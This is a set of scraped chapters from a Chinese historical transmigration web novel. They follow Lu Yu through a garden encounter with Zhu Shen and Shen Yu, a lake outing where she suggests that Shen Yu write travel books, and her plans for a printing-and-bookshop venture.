“车马太慢,锦书难托呀,早知现在有那么多话想和她说,前些年她到芝兰院寻我的时候,就不该只是听着。” 许是大家都去了洛阳,陆萸突然对洛阳也好奇起来了,虽然这辈子估计也没希望去洛阳,但那里毕竟是都城,她觉得多了解一些都城的新鲜事也是一种娱乐。 “女公子若真想见杨氏女郎,待定北侯祭祖后您可随他们去洛阳玩一阵,想来妘女公子也是欢迎您的。” 定北侯陆恭,因在颍川郡任太守期间政绩斐然,除了成功承袭了爵位,还被提拔成了左民尚书(归尚书省,三品,主掌民事或土木工程),今年年底祭祖结束后,他将正式回洛阳任职。 唉,这家人,陆萸只简单寒暄过,怎么好意思要求跟着去洛阳。 再说那妘堂姐更是连玩都不曾在一起玩过,仅惊鸿一瞥而已,那么清高孤冷的美人,不可能喜欢自己这种跳脱的人。 陆萸没有向银杏解释,而是认真回想今日那些贵女身上的首饰,想从中搜集设计灵感。 清风吹过,头顶的朴树发出沙沙声,偶尔有几颗红色的小果子落在石桌上,像极了茱萸果子,陆萸捡起一颗刚要捏碎看看,突然从远处传来几个女孩交谈的声音。 为避免再应付那些贵女,陆萸拉着银杏迅速躲到了树的背面,背面对着小院的围墙,且树干粗壮,站在院子门口的人看不见背面的人。 赏树的人大多就是站在那里看看就走了,就算真绕到后面,陆萸只需说自己玩累了,睡着了。 几人的交谈声渐渐大了起来,然后脚步声停了下来,陆萸听出是三个女孩的声音,另外两个不记得是谁,有一个是张文茵的妹妹张文娟。 有一女孩抱怨道:“听你说沈三郎今日定会在场,我还特意准备了香包和手绢,如今跟着他们山也爬了,又累又热也没看到他。” 张文娟道:“是琳姐姐告知我姐姐的,肯定不会有错,我这不是正带着你们找他吗。” 原来是迷妹追星现场,陆萸心想这里没有沈三郎,他们应该很快就要走了。 另外一个女郎道:“那沈三郎有什么好的,空有一身才学却是个胸无大志的,白瞎了沈氏百年家学。” 不待另外两个女孩回答,她又稍微压低声音道:“我听闻家里给他相看的女郎都入不了他的眼,难说是个喜好龙阳之人。” 另一个女孩接过话道:“你这猜测倒也不无可能,我也不过好奇他是否如大家说的那般玉树临风罢了,若真是那样,就不用找他了。” 之前的女孩附和道:“他整日只知游山玩水,说好听那叫学圣贤追求自然之道,说难听那就是个不务正业的纨绔罢了,有什么可好奇的。” 陆萸原打算就这么躲着等他们走了再出来,如今听那二人说话越来越难听,忍不住起身从里面走了出来。 原以为二人是沈玉的粉丝,想不到竟然是两个黑粉,她生平最讨厌在背后说人坏话的人,更讨厌还没见过面就给人贴标签的。 许是曹壬曾经夸过沈玉,又或许是今天奉承巴结她的人多了起来,稍微助长了她的气焰,她就想也嘲讽一下这些小人。 对话中的三人不知树后有人,看到陆萸主仆也吓了一跳。 陆萸大方上前向他们行礼,然后似笑非笑地看着张文娟道:“文娟阿姊,我记得文茵阿姊交的好友皆是品德高洁之人,您怎会和这二人认识的?” 那二人本还对着陆萸甜甜的喊着:“萸妹妹好”,如今一瞬间脸色变得极其难看。 张文娟也尴尬笑道:“只是随便聊聊,萸妹妹想来是误会了。” “误会?我只是好奇二位女郎眼中何为胸有大志者?人各有志这句话你二位没听过吗?” 两位女郎被陆萸反问得脸上白一阵红一阵,却不知道如何反击。 陆萸似打量物件一样打量过两位女郎后, 27. 第二十七章 沈三郎 《续命丹》全本免费阅读 朱慎低沉的嗓音问完,脸上立马换上一副因为被陆萸欺骗而很难过的表情。 陆萸见了却真是被吓到了,他今日莫不是吃错药了,还是说自己失忆了?难道真答应过他什么没兑现承诺? 她尴尬一笑,轻轻退开两步,才道:“朱公子说笑了。” “你之前可是唤我叔重的”朱慎走近道。 陆萸无奈,忙道:“叔重今日找我为何事?” 不忍再逗她,朱慎轻笑出声:“许久未见你去跑马,想问问季真何时归来?” 这才是她认识的朱慎,方才真是太过反常,陆萸松了一口气,笑道:“再有两日,阿兄就至,届时我再去跑马。” “许久不练,也许阿萸的骑术退步了”朱慎笑着道。 “没事,我又不上战场”陆萸不甚在意,边低头整理衣袖边回话,刚才忙吵架,现在才发现衣袖上沾着树叶。 “别动”朱慎突然很认真的看着陆萸的头顶。 陆萸闻言吓得一动也不敢动,想着该不会是树上有毛毛虫掉到头上了吧,这般想着脸都白了,她从小就怕毛毛虫。 朱慎小心的从陆萸的发髻中拿出一棵红色的果子,递给她道:“莫怕,只是果子。” 陆萸接过,终于松了一口气,不是毛毛虫便好。 “这果子很像你”朱慎突然开口。 今天的朱慎当真太过奇怪,以前那副拒人千里之外的客气疏离全然不见了,但陆萸还是很坦然的笑回:“茱萸果可避嫌,朴树果没听说可以避嫌。” 朱慎其实在张文娟三人才进这个院子就到门口了,今日来客太多,他作为主家不得不随时作陪接待。 只是领着他们爬了两座山后,他被那些脂粉味熏得受不了,于是以祖母传唤为由偷跑了出来。 原想着这里应该没人,他可以躲起来乘凉,不曾想才来就遇到三位女郎在背后议论沈三郎。 他怕那三人发现自己后会尴尬,所以才听完就想要转身离开,哪里晓得陆萸突然从树后面出来,好奇之下,他又折回站在院门外听了全部,当真精彩。 陆萸见朱慎似想到什么事,嘴角微扬,双眸含笑,今日他穿了时下流行的白色广袖长袍,真真姣姣如明月,一派风流倜傥。 她继续低头查看身上是否还有树叶,边想着找什么理由才能不和他独处,若是被他的迷妹看到,她百分百会被误伤。 这么想着,她反而更坦然了,笑着道:“叔重离开许久,想来姐姐们该等急了。” 还是让他走吧,这地方不错,自己还想再休息一下。 “方才说过,我是专程来找阿萸的”朱慎装作听不懂陆萸的话,认真的看着她答。 这是陆萸第一次看到朱慎如此专注的看着自己,眼神诚恳,没有敷衍和礼貌的客套,嘴角带着笑。 没出息的陆萸一瞬间便怔住了,不自觉的回:“何事寻我?” “茶叶喝完了”朱慎依然认真的看着陆萸答。 原来是这个原因,陆萸心里莫名一松,忙笑道:“明日我便差人给你送去。” 朱慎刚想答:明日你来马场跑马吧,只是还未开口突然听到头顶一阵窸窸窣窣声。 电光火石间,他先是一把将陆萸拉至身后大步退出树荫下,然后大喝一声:“何方宵小,还不快现身。” 他这一系列动作太快,陆萸还没发应过来,只感觉到手上传来拉扯的力道,紧接着树上有一人翩然而下。 那少年穿的是浅绿色长袍,和树叶颜色相近,难怪一直无人发现他。 他稳稳落地后,向陆萸和朱慎抱拳行礼:“沈墨生见过朱公子,见过陆女公子,方才在树上睡着了,如今刚醒来,打扰二位雅兴,罪过。” 沈三郎,名沈玉,字墨生,人如其名,公子如玉,绝世无双。 他翩然落下后一派气定神闲,满目含笑地向二人打招呼时也不忘理一理自己的广袖,主打的就是潇洒。 他竟然就是沈玉!陆萸惊讶的看着他,方才自己一番唇枪舌战岂不是都被他听去了。 太过惊讶之下,她连手腕一直被朱慎牵着都没发现,糟了,他会不会以为自己是他的粉丝?她还没准备好和他见面的呀! 陆萸心中一时间各种懊悔纠结,早知道就不逞英雄了,看来曹壬牵的红线要黄了。 朱慎见到是沈玉,脸上虽然有些不悦,但也仅仅只是一瞬。 毕竟是嫂子的弟弟,他笑着回礼:“是你先来的,反而是我二人扰了你的雅兴才对。” 沈玉看了眼朱慎抓着陆萸不放的手,笑道:“今日真是热闹,大家都来看朴树了。” 还当真是热闹,一波又一波,不过他这个当事人反倒像是没听到别人议论他似的,涵养当真不错。 陆萸已经从懊恼中醒过神来了,看到朱慎还抓着自己,想着方才若真有歹徒,他还真救了自己一命。 心中感激,她不理沈玉,只轻轻抽抽手,才道:“多谢叔重出手相救。” 朱慎仿佛才发现一般,很自然的松开手后,关切道:“我的力道没掌控好,手有没有被捏伤?” 陆萸闻言轻轻拉开袖子查看,白皙的手腕上有一道红痕,但也不是很严重,忙道:“无碍的,揉一下就好了。” 边说着,她自顾自的揉了起来。 沈玉不悦二人把自己冷落在一旁,笑道:“朱公子是主家,能否带我去看看其他景致?” 朱慎从天亮就开始接待各处人马,早已累的不行,但沈玉开口,他也不好拒绝,问陆萸:“阿萸可要一同?” 陆萸是来躲清净的,他们走了更好,忙摇头:“太热了,我想继续在此乘凉。” 大家印象里那个呆板木讷的陆萸又回来了,若非他方才见识过她的另一面,真要被她骗了。 朱慎笑着轻声交待道:“不要再随意坐地上,我会让人带苇席和茶水过来,今日实在太忙了,照顾不周,待季真回来,去马场,我向阿萸点茶赔罪。” 陆萸笑笑道:“你先去忙吧,其他的以后再说。” 言毕,看着沈玉行礼:“沈公子再会。” 沈玉抱拳回礼:“陆女公子再会,方才多谢陆女公子。” 这人真是,大家都已经心照不宣,今日这事也算翻篇了,临走了还要再提。 陆萸唯有尴尬一笑,回道:“小女不知沈公子何意。” 沈玉听了,爽朗一笑,然后道:“是在下睡迷糊,听错了”说着又抱拳行礼后才跟着朱慎离去。 他们走后没多久,朱氏仆从当真带来了苇席和茶饮,甚至还有一碟点心和一个香炉。 小厮刚点上香,一股冷冽的梅香便扑面而来,陆萸忍不住问:“这香可有名字?” 小厮是一个十多岁的少年,忙笑着回:“此香是公子让人特制的,平日里公子最爱点此香,名唤忆冬。” 这名字当真取的文雅,看着袅袅上升的香烟,陆萸有些摸不透朱慎为何突然对自己如此上心。 见这小厮有些面善,她问:“你叫什么名字?平日里专为叔重点香吗?” “奴婢安吉,是公子的书童”少年笑着答。 为礼貌待客,送苇席、送点心和茶水都能理解,但是点上他自己用的香,还把书童都差遣来供她使唤,这让陆萸既纳闷又受宠若惊。 银杏今天先是惊心动魄的看了女公子一场唇枪舌剑的对骂,然后又被朱慎和沈玉弄得眼花缭乱。 特别这朱公子,之前对女公子不近不远,做什么都明显带着客套,今天也不知怎么了,竟然主动寻女子,还对女公子如此上心。 这般想着,她内心激动又开心,恨不得赶紧回去和木槿分享喜讯,她 28. 第二十八章 相约 《续命丹》全本免费阅读 陆萸离开朴树院后,万万想不到后续还有这些,若知道,她一定把桌面打扫好了再走。 回到宴会上,她就把沈玉和朱慎都抛到脑后了,立马心情美美的在食案前大快朵颐。 寿宴的流程和以往没有什么不同,大家一起吃吃喝喝,然后各家才俊才女们轮番展示才华,以博老寿星开心。 陆萸无任何才艺,所以边吃边欣赏,不知不觉竟然吃多了,中途不得不起来找地方如厕。 等她回来时,沈玉正和朱慎一起琴箫合奏《初雪》,这个曲子陆萸听兄长陆弘吹过,每次听都有不一样的感受。 她没想到的是朱慎的琴竟然也弹的很好,虽然听了没有曹壬那种飘渺空灵的意境,却已是难得。 而沈玉的竖笛,一听就是那种少年郎潇洒不羁的心境,其功力远在陆萸竖笛老师之上。 二人强强联合,让今天的才艺展示达到顶峰,在场的人,有陶醉在音乐中的,也有迷醉在二人风采中的。 不出意料的,二人才表演完,送花的,送手绢的,送香包甚至送瓜果零食的一哄而上,场面差点失控。 陆萸在一旁看得只咋舌,这也太奔放了,魏家表姐也去给朱慎送东西了。 陆婠笑着在陆萸耳畔低语:“你不送点什么给朱郎君吗?” 想到妹妹之前对朱郎君也很上心,她又接着道:“还是你想私下再送?” 陆萸听了,闹了个大红脸,想不到当初那些近水楼台的战术,其实家里人都知道,她还以为自己隐藏的很好。 她忙红着脸回:“妹妹现在对他没兴趣了。” 还真是小孩心性,陆婠听了,倒也很快就相信了,笑道:“那送沈三郎?” 说到沈三郎,陆萸又想到方才的糗事,张文娟和另外两个女郎理亏,肯定不敢提那场对骂,只是自己也不好再见沈玉了。 陆萸尴尬一笑,才道:“他就更不能送了。” “这是为何?”陆婠听了大惑不解,妹妹今日第一次见沈玉。 “回去后,妹妹再与你细说”陆萸忙低声道。 “可惜了,我原还以为阿萸会欣赏沈郎君”陆婠感叹道。 “为何你也这么认为?”陆萸好奇的问。 “也?此前有人向你提起过沈郎君?” 陆婠心想:难道是大兄为了让妹妹对朱慎死心,所以推荐了沈玉? “君期临行前说过沈郎君与我志趣相似”陆萸恹恹地回。 虽然她一直表现的对那场离别不在意,可每次提起曹壬,思绪总忍不住偏远,情绪也莫名低落。 原来是他,陆婠敏感的发现了妹妹的情绪,心中虽然惋惜,却只笑道:“那边罢了,我们慢慢找,总能找到。” 唉,姐姐和曹壬都对平平无奇的自己如此有信心,陆萸都快把持不住迷失自我了。 此番寿宴举办的比较圆满,宴会结束时朱氏又邀请大家在建业多逗留些日子,因为难得这么多儿郎聚集建业,朱氏想在几日后组织儿郎们在郊外马场进行马球比赛。 消息一出,不仅是建业城,就连各州郡未来参加寿宴的人都蠢蠢欲动,一场赛事带动多少产业,从古至今都一样。 陆萸回去后和陆婠说起了今天在朴树下发生的事,没放过任何细节,如此这般的全说开了。 陆婠听完后,向来淑女稳重的她也不顾形象的笑了起来,她能猜到那三人当时得有多尴尬和气愤。 陆萸等姐姐笑停后,无奈笑道:“你看,我和沈三郎注定无缘。” 那次曹壬推荐沈玉时木槿也在一旁听着,她还对那沈郎君好奇着呢,如今也觉得可惜。 陆婠却没这么觉得,若那沈玉真如传闻中的一样,反而会欣赏妹妹率真的性格,可她没有点破,怕自己猜错了反而让妹妹失望。 她笑笑道:“无事,你就当没说过那些话,别人也不会再提。” 陆萸想想也对,便笑道:“我还小,要多陪陪阿姊。” 姐妹俩又笑闹了一会,聊了聊今日那些少男少女们,陆婠才起身离开芝兰院。 陆萸洗漱好后,穿寝衣的时候,银杏问:“没有沈郎君,不是还有朱郎君吗?” 陆萸没和陆婠细说今日朱慎的反常行为,她只当朱慎在替二兄照顾自己。 但她不想让自己的侍女生出一些不切实际的想法,于是叹道:“你没看到翁主娰一直围着朱郎君转悠吗?” “可是,奴婢觉得”银杏还想再说,陆萸忙打断道:“以后你二人得歇了所有念头,免得引火上身。” 银杏听了,忙闭上了嘴,虽然心里有些可惜,但女公子素来稳重,她说的肯定有道理。 待木槿和银杏都退下后,陆萸却躺在床上翻来覆去想了很久,始终难以入睡。 唉!曹壬若知道与沈玉的初见如此尴尬,肯定不会觉得他能看上自己了,罢了缘份天注定,她如今也不想再折腾了。 陆萸前世一直都是被迫做出选择,父母外出打工将她留给奶奶抚养,后来有了弟弟,他们以城里房间小住不下两个孩子为由,让她被动留守。 高中毕业的时候,她的高考成绩很好,想报北方的名校,可为了领奖学金,她报了主动向她招生的省内普通大学。 大学毕业后,她想留在大城市,可因为有助学贷款,她不得不一毕业就签约一家需要长期驻偏远项目的工程设计企业。 她从未有机会主动选择什么,这样的遗憾让她仿佛有了一种执念。 来了这里以后,见这里民风开放,且朱琳也成功找了自己心仪的郞婿,她便想着或许自己也可以试一下。 如今,她却突然失了那份兴致,魏氏替她定下谁,她已无所谓了。 反正背景都不会太差,不然也配不上陆氏门楣,思来想去,还是自己攒钱可靠些。 次兄就要回来了,她可以打听君期一路上的情况,不知道洛阳的气候他如今适应了没有。 想到这里,她又起身摸黑从床尾的箱子里翻出那个小木盒子。 值夜的银杏听到屋内的动静,问了句:“女公子想起夜吗?” 陆萸忙道:“无事,你先睡吧。” 银杏听到了箱子被打开的声音,虽有些疑惑,但也没进来内室。 陆萸蹑手蹑脚的抱着盒子,在窗前坐下,然后打开盒子拿出曹壬的佛珠,借着屋外廊下若隐若现的灯光,她一颗一颗细细摩挲起来。 珠子圆润又光滑,因是紫檀木所制,夜里也不觉得冰凉。 她看了又看,然后套进手腕上试了一下,手腕太细,容易滑出来,但她没有放回盒子,而是松松挂在手上,又蹑手蹑脚将盒子放回箱子里。 临睡前,陆萸边摸着珠子边思考,不知不觉竟然睡着了。 待天亮洗漱更衣时,木槿看到陆萸手上的佛珠手串,脸上没有惊讶,只道:“奴婢用线将它收紧以后,女郎再戴上可好?” 陆萸听了,将手串取下交给木槿。 佛珠共九颗,一颗主珠八颗副珠,木槿用线将主珠附近的两颗副珠和主珠栓在一起,然后还给陆萸。 陆萸戴上后轻轻甩了一下,没有滑下来,如今看这手串,和昨夜看到的不一样,她越看越喜欢。 因被曹壬戴了十多年,珠子除了散发着一股香味,光泽度也是非常完美。 这手串当初让静初寺主持亲自诵过经,后来又跟着曹壬礼佛十多年,说是上等宝物也不为过。 今天的天气不错,陆萸用过早膳后,带着书箧去学堂上课,散学后又找老师学了竖笛。 经过连续几个月的苦练,陆萸终于能找准音调了,虽然离吹奏一首完整的曲子还有距离,但找准音调以后可以慢慢练习。 给陆萸教授竖笛的老师姓陈,原是陆弘的老师,因为陆弘早已出师,他已经去其他世家教授。 没想到快满四十了,又被陆太守请了回来。 他当初教陆弘的时候非常轻松,所以这次回来的时候也是心怀期待的,毕竟聪明好学的学生哪个时代的老师都喜欢。 想不到的是,现下这个徒儿差她兄长不是一星半点,为此,他焦虑过,如今陪着练习几个月,反而慢慢看淡了。 有束脩可以领,有徒弟可以教就行了,其他无所谓了,这般想着,陆萸吹的磕磕巴巴的曲子也没有那么难以入耳了。 练习了一下午,要分别前,陆萸主动提起了沈玉,她感叹道:“想来我这般天赋,估计到老死之日也吹不出他那等妙音。” 陈老师听了,忙道:“他和我一样都是师从竖笛大师徐公,而恩师的众多弟子属他最有天赋,连我也自愧不如。” 他实在没法违心安慰徒弟,自己那师弟可是百年难遇的奇才,别说徒弟,连自己也未必赶得上。 他们竟然是师兄弟,陆萸好奇道:“他是你师弟,那你可曾和他合奏过?” 陈老师摇摇头,叹道:“恩师收徒全凭喜好,我有幸得他教授却只学得皮毛,沈郎君不同,恩师常赞师弟早已超越师傅。” 见陆萸没有回答,他又接着叹道:“艺术应当脱离世俗才能达到最高境界,而我用此技艺养家糊口,和师弟自是一辈子都比不了,如何还有脸与他合奏。” 从古至今都一样,艺术 29. 第二十九章 志趣相投 《续命丹》全本免费阅读 陆萸助跑一跳,然后稳稳落在船上,身姿矫健,让沈瑶看得先是一愣,然后笑出声来。 想来沈氏对子女的教育方式和陆氏差不多,教出的子女都比较随性。 有了陆萸这一跳,今天游湖的氛围变得更加轻松,陆婠和沈瑶真是一见如故。 陆萸看得出游湖这么多次,只有这次游湖让姐姐笑得最真实。 坐在旁边看着姐姐和沈瑶聊不完的话题,陆萸的思绪又不知不觉的偏远了,次兄今天晚上应该能回到建业了,明日一早可以去问问君期的情况。 “女公子随我去船尾看看景致可好?”沈玉突然出声。 其实他也插不上妹妹的话,不如出船舱透透气看看景。 沈瑶心想兄长估计想当面道谢,于是笑道:“你陪阿兄去赏景吧,我和阿婠怕热就不出去了。” 陆萸其实也怕热,但想到今日出行的目的,犹豫一下就起身随沈玉出了船舱。 出来后才发现其实也没有想象中热,碧波万顷的玄武湖每次看都能发现新的景致。 沈玉在陆萸面前站定后,郑重行礼,道:“墨生多谢女公子那日出言维护。” 陆萸受了他的礼后,笑道:“墨生那日在树上听了钱姚二位女郎的话,竟然没有掉下来,也是涵养可嘉。” 他总想提起那日,那她也没什么好回避的,比起被人骂有龙阳之好,被骂粗俗完全可以忽略不计。 “阿萸,我可以这般唤你吗?”沈玉笑问。 这人真是自来熟,陆萸笑道:“你随意。” 沈玉听了,笑得更开心了,他带着陆萸走到风口位置。 二人站定后,他才道:“阿萸那句庙堂之高和江湖之远真是说的妙极了,阿瑶就是因为这话,吵着想要见你。” 陆萸心里默默和范仲淹说了声抱歉,然后笑道:“都是我大兄平日里教我的。” 陆弘的才名在江东和曹世子不相上下,沈玉在外游历,曾见过几次陆弘。 他今年十七岁,陆弘也才十九,但是他从小就知道陆太守的大公子成熟稳重,是别人口中那些心怀大志之人,难怪能想出这般好句子。 “功名利禄皆如浮云,唯有当下值得珍惜,阿萸认为呢?” 那是他家底好,有那么大个家族兜底,陆萸心里这么想,却只笑着回:“听闻你常年游历在外,可否说说都见过哪些极致难忘的美景?” 这个问题可就问对人了,沈玉这个有钱有闲的世家子一年有将近三百日在外,说起各处景致和风土人情那真是滔滔不绝。 陆萸在一旁安静的听着,眼中不由自主地带着那种羡慕之情,他口中提到的地方皆令她向往不已。 前世的她是牛马加班族,没钱也没时间,很多地方都只能靠刷旅游类节目过过眼瘾。 “读万卷书,行万里路,方知天地之广阔,墨生这样的生活方式当真羡煞旁人”陆萸由衷的感叹。 沈玉听了此话,先是一愣,然后爽朗的笑了起来,原来真有人能懂自己。 他是个很爱笑的少年,爱笑的人运气都不会差,陆萸这么想着,笑问:“墨生可曾想过写游记?” “游记?” “对,记录沿途的风景,美食,以及遇到的有趣的人和事”陆萸答。 其实游记写得好的话,还是可以赚一大笔钱的,现在的女子都很少有机会旅游。 沈玉第一次听到如此新鲜的提议,于是问:“不限文体随意书写吗?” “游玩本就是因为兴趣,又何必拘泥于一种文体累身累心呢?”陆萸反问。 听此一言,沈玉仿佛茅塞顿开,欢喜道:“日后我可以将游记寄给阿姊解闷。” 他常给已经出嫁的姐姐写信,但大多是问候和记录自己身体现状的。 “自是可以,你不但可以寄给亲朋好友,还可以著书,让全大魏没机会出游的人都通过你的文字跟着你游玩山川美景”陆萸鼓励道。 著书,他以前怎么没想到呢?陆萸一个又一个好建议让沈玉一时间兴奋不已。 他激动得语无伦次,半晌才笑道:“我若真能著书,家中长辈估计再也不会愁我不务正业了。” “那是自然,人生如沧海一粟,大凡始于兴趣的,只要坚持不懈,总能成功。” 一句始于兴趣,让沈玉瞬间觉得仿佛找到了努力的方向,以前他常年在外游玩,总有各种声音说他。 有说他不务正业的,有说他没有志向的,有说他只会花钱的,更有甚者说他是逃避现实的纨绔。 可有一日,有人告诉他兴趣也可以当成一项事业并为之奋斗,他心中的喜悦与震撼难以用言语来表达。 他唯有向陆萸郑重行礼,道:“多谢阿萸提点。” 陆萸只是把大概思路说给他听,没想到他反应如此之大,莫非以前没人写过游记? 她忙摆手让开他的礼,道:“无需如此客气,若将来你有所成就,我也可以从你的书中欣赏美景不是吗?” 沈玉听了笑道:“待我整理出第一份游记,让你做我的第一个读者。” “期待之至”陆萸笑回。 二人又就旅游的话题聊了许久,聊到美食,陆萸想知道后世那些各省的特色美食如今是否已经登场,问的就比较认真。 沈玉非常有耐心的一一解答,还偶尔附上做法,让陆萸有一种看了美食节目的错觉。 她忍不住道:“游记里若配上美食方子,想来受欢迎程度更大。” “我也是这么想的”沈玉回。 英雄所见略同,二人不约而同笑了。 眼看时间过了许久,陆萸心里记挂着次兄回来的事,她便道:“想来两位姐姐也累了,我们下次再聊吧。” 沈玉难得遇到志同道合的人一起聊天,有些意犹未尽,但看到陆萸因为在船舱外站太久而被晒得微微发红的脸。 他自责道:“是我忘了时间,让阿萸委屈了,我有一种治晒伤很有效的膏药,回去后让人送去给你。” 陆萸这才发现脸上的皮摸上去有些火辣感,想不到这张脸这么不耐晒。 她忙笑道:“哪有那么娇气,我之前常去跑马,早已习惯。” “是去朱氏马场吗?”沈玉想起那日朱慎对陆萸的在意,忍不住问。 “正是,我次兄和叔重是好友,他也把我当妹妹呢”陆萸答。 沈玉却没有点破,他可不认为那是兄长对妹妹的关怀。 “两日后马球比赛,想来你也要去观赛,届时我们再聊” “你不打算下场参赛?”陆萸好奇道。 那是少年郎在女郎面前展示体力的大好机会,他竟然放弃了。 “马球场上既灰又热,为了点输赢把自己弄的又累又臭,没意思”沈玉说着满是嫌弃。 好吧,旅游达人还有洁癖,想来他不看着功名自然也看不上那点输赢。 于是,陆萸和他约好了到时候在马场旁见,他还答应回去后回忆一下,写几份食谱带去给她。 陆萸上次去华彩阁送图纸的时候看到贵客接待室的茶水,就已经想好了赚钱的路子。 她打算等马球比赛结束后就去找谢洐谈合作,食谱自是多多益善。 总之,这次出游陆萸姐妹二人皆收获满满。 在回去的马车上,陆婠看着脸被晒的通红的妹妹问:“阿萸觉得沈三郎如何?” 陆萸不知姐姐所问何意,但还是老实回答:“他和君期描述的相差不大。” “就只有这句?”陆婠有些好笑的问,见妹妹一脸不解,她无奈问:“你们聊那么久,都聊些什么?” 陆萸隐约觉得姐姐的问题和自己的答案好像不在一个频道上,但她还是回道:“聊各处美景,风土人情,还有各色美食。” 陆婠听了,在心里忍不住替母亲感到惋惜,看来妹妹只是个不开窍的孩子罢了。 “对了,墨生还答应给我几个美食方子,到时候我又可以给你们做好吃的了”陆萸美滋滋的回。 好吧,好歹唤他“墨生”了,还算有点进展,陆婠心底安慰道。 当太阳快完全下山时,陆纯终于回来了,他先是去父母那里报平安,然后未做休息直接去了芝兰院。 他踏进芝兰院的时候,陆萸正在院中紫藤架下发着呆。 此时 30. 第三十章 球赛 《续命丹》全本免费阅读 用过早膳,陆萸就去学堂上课了,十岁生辰过后,她从之前的教室搬到了哥哥姐姐们的教室。 散学的时候朱慎和陆纯约着去跑马,见陆萸在装文具,笑问:“阿萸今日要一起去吗?” 学堂的座次是按年龄排序的,陆萸刚升过来,所以坐的最后一排。 她刚刚心里想着事,没注意朱慎已经从前面走到后面,愣了一下,才回:“我今日还有事,以后再去吧。” 学堂里有位族中学长这时笑问:“萸妹妹不会是去学竖笛吧?” 他才问完,教室里的同学们不约而同的笑了起来,和当年笑话她的鸡爪字一样,现在大家都在笑她学竖笛。 人说陆太守的幺女明明没有艺术细胞,却死心眼的很,毎日下午都要在院中吹奏竖笛,导致陆宅后院已经很久没能听到鸟鸣声了。 又有一个同学打趣道:“萸妹妹,府上的鸟都被吓跑了,不知接下来是不是轮到陈老师了?” 陆萸性子随和,大家平日里时常打趣她,她自己也无所谓,都是些孩子罢了。 她边将收好的书箧递给木槿,边笑道:“是那些鸟不懂欣赏,老师说了,只要我勤学苦练,出师是早晚的事,届时我来课堂上吹奏一曲,让你们饱饱耳福。” 他们和前世那些同学一样,学业太重就想找点乐趣,反正她吹竖笛确实很菜,若有机会,她一定带着竖笛来教室荼毒一下他们的耳朵。 她的话才说完,教室里又是一阵欢笑声,更有同学与陆婠打趣:“婠姐姐,你得替我留意着,若哪天萸妹妹带了竖笛,我立马请假。” 陆萸听了,也跟着笑了起来,若非今日还有正事要办,她还真想留下和大家掰扯掰扯。 她向站在一旁看笑话的陆纯和朱慎行礼作别后,带着木槿离开了,走远了身后还有笑声传来。 回到芝兰院,陆萸重新换上一套华丽的纱裙,然后戴上篱帽出发了。 她从启蒙之时,心中便一直有一个计划,只是如果计划想要执行需要祖父同意,且必须有陆氏在后面支持,才能顺利实施。 原本她想几年后再推进这个计划,只是昨日和沈玉聊到著书的事,她就开始蠢蠢欲动了。 她想开个书店,但不仅仅是个书店,她要开一家集出版发行售卖于一体的书店,一家最接地气的书店。 现下书厮也有书卖,但数量少价格也贵,买得起书的世家不缺书,所以现在的书厮主要是为卖文房四宝,客户群体多为寒门学子和落魄贵族。 他们买书、读书都只为在朝中谋个苍蝇小吏的职务,朝廷要职都由世家把持。 陆萸的书店要打破现有价格,要让更多的人有机会识字,财富毕竟掌握在少部分人手中,那些没钱的才是最大的客户群体。 要打破价格的首要就是降低纸张成本,还有制书成本,这个时代的书籍都是靠人工誊抄,效率低,不能批量生产,所以成本居高不下,她不仅要改良陆氏的造纸术,还要尝试研发雕版印刷术。 一旦雕版印刷术成功,那将是一场革命性的突破,没有陆氏做后盾,她会被手握稀缺资源的各大世家踩得稀碎。 怀着满腔的斗志,陆萸直接奔往城中几个书肆,店小二见陆萸一身贵气,对她非常客气,凡她所问皆知无不言。 一番调研后,她得出结论,纸真是太贵了。 现今的纸有麻纸,材料是大麻纤维,厂地都在北方,琅琊王氏出过书法大师,据说麻纸消耗非常大,价格适中。 麻黄纸,即用黄檗汁将麻纸浸泡,干后,即为防虫蛀蚀的麻黄纸,这个价格也适中,当今圣上继位后强力推广朝中所有文书往来都需要用黄麻纸。 藤纸,以野生藤皮为主要原料,是一种品质极好的书画用纸,陆氏庄园制的就是这种纸,价格高于两种麻纸。 银光纸,产地在后世安徽境内,纸质光润洁白,陆萸猜测这个是宣纸的前身,价格也贵。 最贵的还是北方闻名百年的佐伯纸,东汉时期由佐伯首创,后几百年间一直不停改进工艺,已是纸中奢侈品。 总结了一下,无论是麻纸还是黄麻纸,如果批量生产图书,成本都不会太低,而且麻纸用于印刷字体平整度很难保证。 陆萸又问了墨,这个时候的墨有两种,松烟墨和油烟墨,北方有韦诞墨,南方有徽州墨,价格都贵。 陆萸有信心让陆氏作坊改进纸张,只是这个墨,陆氏没有作坊,用来雕版印刷的墨是水墨,而且量大,还得反复实验调试,到时候再问问祖父有没有什么建议。 从书肆离开时,已是傍晚时分,小二热情的介绍了一下午,讲解得口干舌燥,满脸期待的看着陆萸。 陆萸有些过意不去,于是买了一盒韦诞墨和一个做工精美的砚台,因为陆纯前阵去了洛阳,今年的生辰礼还未送给他。 回去后,陆萸开始在脑中飞快的回忆前世看过的竹子造纸术,前世公司团建的时候组织陆萸和同事参观过非遗文化造纸术生产全过程,她因为很喜欢,亲自动手参与了制作,记忆非常深刻。 虽然蔡伦改进纸张制造时已经用竹子造纸,但是三国乱世后,因麻纸更容易制造,材料更易得,所以竹子制纸术慢慢被大家放弃。 陆萸记得明清时期是雕版印刷的高峰期,印刷用的是连史纸,连史纸非常适合用于古籍修复、拓印以及制作重要历史档案,所以有着“寿纸千年”的美誉。 连史纸就是陆萸团建时候亲手参与制作的纸,现在大规模纸制的产业没有竹制纸是因为蔡伦的技术没有明清时期的先进,且同样是用竹子,选的竹子却不一样。 陆萸夜里翻来覆去想了许久,然后打算年底祭祖的时候再具体和祖父商量,届时有造纸师傅跟着讨论,估计思路会更清晰一些。 很快,迎来了陆氏组织马球比赛的日子。 在这个等级森严的时代,身份地位体现在方方面面,比如在看台上看马球比赛,座次也和背后的家族息息相关。 最好的位置是南安王府和主家朱氏,其余依次是顾、陆、张、沈、魏。 陆萸随姐姐才落座,沈瑶便带着沈玉来了,她高兴道:“总算把你们等来了。” 沈瑶性子活泼,加上有沈玉在一旁,先到的贵女一直围着她,让她烦得不行。 而陆婠向来矜贵,陆萸又木讷,围上来套近乎的人就没有那么多。 沈氏兄妹先是向魏氏问好,魏氏看两个女儿和他们相处愉快,心里别提有多高兴,立马让人加了位子。 马球比赛的队员是各家擅骑射的儿郎,现下虽然流行清谈,但不流行服用寒石散,所以大凡世家出身的儿郎从小都要习骑射。 比赛前队员们聚在一起抽签,按抽签情况分成两个队,这样的比赛图的只是好玩,儿郎们为的只是在女郎面前一展风采。 